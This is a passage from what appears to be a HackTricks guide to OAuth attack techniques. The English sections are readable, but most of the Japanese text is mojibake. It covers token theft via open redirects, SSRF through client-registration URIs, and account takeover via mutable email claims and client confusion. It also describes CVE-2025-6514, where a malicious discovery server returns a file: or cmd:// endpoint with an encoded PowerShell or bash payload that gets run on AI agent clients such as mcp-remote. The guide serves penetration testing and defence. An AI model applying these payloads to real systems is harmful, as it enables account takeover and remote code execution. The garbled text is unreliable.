response_type=id_token,code&prompt=noneã远å ãã©ã¡ãŒã¿ãšããŠäœ¿çšã㊠Google OAuth ãããŒãéå§ããïŒreferrer ã¯æ»æè ã®ãŠã§ããµã€ãã«ãªãïŒ - provider ã被害è
ãèªå¯ããåŸãopener ã¯
redirect_uriãã©ã¡ãŒã¿ã®å€ïŒè¢«å®³è ã®ãŠã§ãïŒã« 30X ã³ãŒãã§æ»ããããã®æ referer ã«æ»æè ã®ãµã€ããæ®ã - 被害è
ã®ãŠã§ããµã€ã㯠referrer ã«åºã¥ã㊠open redirect ãããªã¬ãŒ ãã被害è
ãæ»æè
ãµã€ããžãªãã€ã¬ã¯ãããã
respose_typeãid_token,codeã ã£ããããcode 㯠URL ã®ãã©ã°ã¡ã³ããšããŠæ»æè ã«éãããæ»æè ã¯è¢«å®³è ã® Google ãä»ããã¢ã«ãŠã³ããä¹ã£åãããšãã§ããã
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration ã¯ãäžèŠç®ç«ããªããé倧ãªã»ãã¥ãªãã£ãã¯ã¿ãç¹ã« SSRF ãèªçºããå¯èœæ§ããããšã³ããã€ã³ãã§ãããã®ãšã³ããã€ã³ãã¯ãclient applications ã«é¢ããæ å ±ïŒæ©å¯æ§ã®ãã URL ãå«ãïŒã OAuth ãµãŒãã«æž¡ãããã«äœ¿ãããŸãã
äž»ãªãã€ã³ã:
- Dynamic Client Registration ã¯å€ãã®å Žå
/registerã«ããããããclient_nameãclient_secretãredirect_urisãããŽã JSON Web Key Sets (JWKs) ã® URL ã POST ã§åãåããŸãã - ãã®æ©èœã¯ RFC7591 ã OpenID Connect Registration 1.0 ã«æºæ ããŠãããSSRF ã«è匱ã«ãªãåŸããã©ã¡ãŒã¿ãå«ã¿ãŸãã
- ç»é²ããã»ã¹ã¯ä»¥äžã®ãããªåœ¢ã§ãµãŒãã SSRF ã«æãå¯èœæ§ããããŸã:
logo_uri: ã¯ã©ã€ã¢ã³ãã¢ããªã®ããŽã® URLããµãŒããããããã§ãããããš SSRF ãèªçºããããURL ã®æ±ããäžé©åã ãš XSS ãæãããšããããjwks_uri: ã¯ã©ã€ã¢ã³ãã® JWK ããã¥ã¡ã³ããžã® URLãæªæããæ§æã ãšãµãŒããæ»æè 管çäžã®ãµãŒããžã¢ãŠãããŠã³ããªã¯ãšã¹ããè¡ãå¯èœæ§ããããsector_identifier_uri:redirect_urisã® JSON é åãåç §ãã URIããµãŒãããããååŸãããš SSRF ã®æ©äŒãçãããrequest_uris: ã¯ã©ã€ã¢ã³ãã®èš±å¯ããã request URI ã®äžèЧããµãŒããããããèªå¯ããã»ã¹ã®éå§æã«ååŸããå ŽåãæªçšããåŸãã
ãšã¯ã¹ããã€ãæŠç¥:
logo_uriãjwks_uriãsector_identifier_uriã®ãããªãã©ã¡ãŒã¿ã«æªæãã URL ãå ¥ããŠæ°ãã client ãç»é²ããããšã§ SSRF ãèªçºã§ãããrequest_urisãä»ããçŽæ¥çãªæªçšã¯ãã¯ã€ããªã¹ãçã§ç·©åãããŠããããšãããããäºåç»é²ãããæ»æè 管çäžã®request_uriãäŸçµŠããããšã§èªå¯æ®µéã§ SSRF ãçºçãããããå Žåãããã
OAuth/OIDC Discovery URL Abuse & OS Command Execution
CVE-2025-6514 ã«é¢ããç ç©¶ïŒmcp-remote ã¯ã©ã€ã¢ã³ããäŸãã° Claude DesktopãCursorãWindsurf ã«åœ±é¿ïŒã§ã¯ãdynamic OAuth discovery ãã¯ã©ã€ã¢ã³ãã IdP ã¡ã¿ããŒã¿ããã®ãŸãŸ OS ã«æž¡ãå Žåã« RCE ã®ããªããã£ãã«ãªãåŸãããšã瀺ãããŠããŸãããªã¢ãŒã MCP ãµãŒã㯠discovery 亀æïŒ/.well-known/openid-configuration ãŸãã¯ä»»æã®ã¡ã¿ããŒã¿ RPCïŒäžã«æ»æè
å¶åŸ¡äžã® authorization_endpoint ãè¿ããmcp-remote â€0.1.15 ã¯åãåã£ãæååããã®ãŸãŸã·ã¹ãã ã® URL ãã³ãã©ïŒstart, open, xdg-open ãªã©ïŒã§åŒã³åºãããããOS ããµããŒãããä»»æã® scheme/path ãããŒã«ã«ã§å®è¡ãããŠããŸããŸããã
Attack workflow
- ãã¹ã¯ããããšãŒãžã§ã³ããæµå¯Ÿç㪠MCP/OAuth ãµãŒãã«åããïŒ
npx mcp-remote https://evilïŒããšãŒãžã§ã³ãã¯401ãšã¡ã¿ããŒã¿ãåãåãã - ãµãŒãã¯æ¬¡ã®ãã㪠JSON ãè¿ã:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- ã¯ã©ã€ã¢ã³ãã¯äŸçµŠããã URI ã® OS ãã³ãã©ãèµ·åããŸããWindows ã¯
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."ã®ãããªãã€ããŒããåãå ¥ããŸãïŒmacOS/Linux ã¯file:///Applications/Calculator.app/...ãç»é²ãããŠããã°cmd://bash -lc '<payload>'ã®ãããªã«ã¹ã¿ã ã¹ããŒã ãåãå ¥ããŸãã - ããã¯ãŠãŒã¶ãŒæäœã®åã«çºçãããããåã«ã¯ã©ã€ã¢ã³ããæ»æè ãµãŒããŒãšéä¿¡ããããèšå®ããã ãã§ã³ãŒãå®è¡ãçºçããŸãã
ãã¹ãæ¹æ³
- discovery ã HTTP(S) çµç±ã§è¡ããè¿ããããšã³ããã€ã³ããããŒã«ã«ã§éãä»»æã® OAuth 察å¿ã® desktop/agentïŒElectron appsãCLI helpersãthick clientsïŒãã¿ãŒã²ããã«ããŸãã
- discovery ã¬ã¹ãã³ã¹ãååããããã¹ããã
authorization_endpointãdevice_authorization_endpointããŸãã¯é¡äŒŒã®ãã£ãŒã«ããfile://ãcmd://ãUNC ãã¹ããã®ä»å±éºãªã¹ããŒã ã«çœ®ãæããŸãã - ã¯ã©ã€ã¢ã³ããã¹ããŒã /ãã¹ããæ€èšŒããã確èªããŸããæ€èšŒããªããã°ãŠãŒã¶ãŒã³ã³ããã¹ãã§å³æå®è¡ãããåé¡ãç«èšŒãããŸãã
- ç°ãªãã¹ããŒã ã§ç¹°ãè¿ããæ»æé¢ãå
šäœçã«ãããã³ã°ããŸãïŒäŸ:
ms-excel:ãdata:text/html,ãã«ã¹ã¿ã ãããã³ã«ãã³ãã©ïŒããã³ã¯ãã¹ãã©ãããã©ãŒã ã®å°éç¯å²ã瀺ããŸãã
OAuth providers Race Conditions
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
OAuth ã§ã¯ sub ãã£ãŒã«ãããŠãŒã¶ãŒãäžæã«èå¥ããŸããããã®åœ¢åŒã¯ Authorization Server ã«ãã£ãŠç°ãªããŸãããŠãŒã¶ãŒèå¥ãæšæºåããããã«ãäžéšã®ã¯ã©ã€ã¢ã³ã㯠email ã user handle ã䜿çšããŸããããããããã¯ãªã¹ã¯ã䌎ããŸãïŒ
- äžéšã® Authorization Server ã¯ãããã®ããããã£ïŒäŸãã° emailïŒãäžå€ã§ããããšãä¿èšŒããŠããŸããã
- ç¹å®ã®å®è£ ãäŸãã° âLogin with Microsoftâ ã§ã¯ãã¯ã©ã€ã¢ã³ãã email ãã£ãŒã«ãã«äŸåããŠããããã® email 㯠Entra ID äžã§ãŠãŒã¶ãŒãå¶åŸ¡å¯èœ ã§æ€èšŒãããŠããŸããã
- æ»æè ã¯ç¬èªã® Azure AD çµç¹ïŒäŸ: doyensectestorgïŒãäœæãããããçšã㊠Microsoft login ãè¡ãããšã§ãããæªçšã§ããŸãã
- Object IDïŒsub ã«ä¿åãããïŒã¯äžå€ã§å®å šã§ããäžæ¹ãå¯å€ã® email ãã£ãŒã«ãã«äŸåããããšã¯ã¢ã«ãŠã³ãä¹ã£åããå¯èœã«ããå ŽåããããŸãïŒäŸ: victim@gmail.com ã®ä¹ã£åãïŒã
Client Confusion Attack
In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Googleâs OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attackerâs site. If these users also have accounts on another vulnerable website that does not validate the tokenâs Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.
Scope Upgrade Attack
The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the tokenâs details.
Redirect Scheme Hijacking
ã¢ãã€ã«ã® OAuth å®è£
ã§ã¯ãã¢ããªã¯ Authorization Codes ãåãåãããã« custom URI schemes ã䜿çšããŸããããããè€æ°ã®ã¢ããªãåãã¹ããŒã ãããã€ã¹äžã«ç»é²ã§ãããããæ£åœãªã¯ã©ã€ã¢ã³ãã ãã redirect URI ãå¶åŸ¡ããŠãããšããåæã¯æç«ããŸãããäŸãã° Android ã§ã¯ãcom.example.app:// ã®ãã㪠Intent URI ã¯ã¹ããŒã ãã¢ããªã® intent-filter ã«å®çŸ©ããããã£ã«ã¿ã«åºã¥ããŠææãããŸããAndroid ã® intent 解決ã¯å¹
åºããªãããšãããïŒç¹ã«ã¹ããŒã ã®ã¿ãæå®ãããŠããå ŽåïŒãæ»æè
ã¯å·§åŠã«äœæãã intent filter ãæã€æªæããã¢ããªãç»é²ã㊠authorization code ããã€ãžã£ãã¯ã§ããŸããããã¯ãè€æ°ã®ã¢ããªã intent ãåŠçå¯èœã§ããå Žåã®ãŠãŒã¶ãŒæäœã«ããä¹ã£åããããã㯠Ostorlab ã®è©äŸ¡ãããŒãã£ãŒãã§ç€ºãããŠãããããªé床ã«ç¹å®çãªãã£ã«ã¿ãæªçšãããã€ãã¹ææ³ãéããŠãã¢ã«ãŠã³ãä¹ã£åããå¯èœã«ããããšããããŸãã
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


